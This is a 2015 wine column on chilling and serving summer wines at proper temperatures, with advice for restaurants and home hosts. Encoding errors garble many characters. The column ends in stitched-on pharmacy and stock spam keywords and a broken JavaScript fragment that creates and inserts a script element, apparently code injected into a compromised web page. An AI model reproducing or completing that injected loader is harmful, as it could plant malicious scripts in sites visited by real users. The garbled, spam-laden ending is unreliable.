Chilling out for summer – July 11, 2015

By Anthony Gismondi

I recently ordered what I thought would be a delicious bottle of malbec at a restaurant patio but when the wine arrived at the table, it was warm to the touch and bland in the glass.

Ia��m sure it had been a�?cookinga�? all day in the restaurant and, while the bottle was warm to the touch, my young server seemed blasA� about its serving temperature or how it might affect the wine.

I should have ordered a margarita, or a gin and tonic, or some other appropriate summer patio drink that could cope with the heat but since the wine was $65 on the list, I assumed the service, and temperature, would be appropriate. I was wrong. Ia��m not going to dump on restaurants with little storage, and resources to keep its wine at the proper temperature year round, but it is an issue and offering to chill a customera��s red wine before serving it should be the norm in warm 25 C weather.

The old adage about serving wine at room temperature refers to large, northern European stone homes with no central heating. In that environment, the white wine can be served direct from the cellar and the red often needs to warm a bit. That doesna��t apply to 95 per cent of B.C. restaurants and it would seem serving wine at the correct temperature is not a big part of server training these days.

As the warm weather persists, we share a few sure-fire tips on which wines work best in summer and how to serve them at the correct temperature. It is forethought that turns an ordinary day on the patio into a great afternoon or evening.

First, forget all those big wines of winter and go for the fresh, aromatic, dry whites, rosA� and un-oaked chardonnay, the grA?ner veltliners, floral rieslings and or spicy fruity gewA?rztraminer and you get the point. Ita��s summer. Lash out and have some fun.

Were we to teach a one-day, crash-course in understanding and serving summer-style wines, I would talk weight and texture (light). We would mention acidity and freshness (a must). How to serve it (that temperature thing again) and with which foods, because wine is always better with food.

Perhaps the most important rule is an offshoot of the old Boy Scout mantra: be prepared. Sooner or later ita��s going to be hot for a few days, if not weeks, even in Vancouver, so there is no excuse for not being ready.

Earth to restaurants: is it so hard to chill some sauvignon blanc or rosA� ahead of time? Why not entice us with a half-dozen interesting lunch or aperitif style wines explicitly suited to summer sitting at the door in a large tub of ice. We could choose a favourite before we even make it to our seat.

Ia��m sure most customers would rather wait for their white wine to warm a bit on a hot day than sit around while you chill the bottle for 20 minutes. You may even sell an extra bottle if we get off to a fast start. You can use the same tub to cool those red wines to cellar temperature instead of the deadly ambient, restaurant kitchen temperature.

If you are playing host to a patio party at home, have a large pail or tub of ice and water ready to go so your guests can super-chill their wine in minutes. It may seem obvious but dona��t set the cooling station in the sun. It doesna��t work.

Now for that temperature information. The recommended numbers if you have a thermometer are: for dessert-style wines, late-harvest, ice wine et al, they should be well chilled at 6-8 C; sparkling wines should be well chilled from 6-10 C; medium-bodied whites should be chilled from 7-10 C and for richer oaked whites, lightly chilled from 10-13 C. Apply the same 10-13 C numbers to light-bodied reds while the richer, full-bodied bottles are best from 15-18 C. If the restaurant is as hot as or hotter than it is outside you can see why the red wines need to be chilled to show its best.

Ita��s easy enough to do all this by touch. If a bottle (red or white) is warm to the touch, ask for it to be chilled. If ita��s hot, ask for another bottle. When you pull it out of the ice if ita��s too cold to hold, it is too cold to pour. Shade and a little common sense will get you through the heat wave. Enjoy. exelon stock prices super avana reviews } else {document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’); orlistat buy online nz

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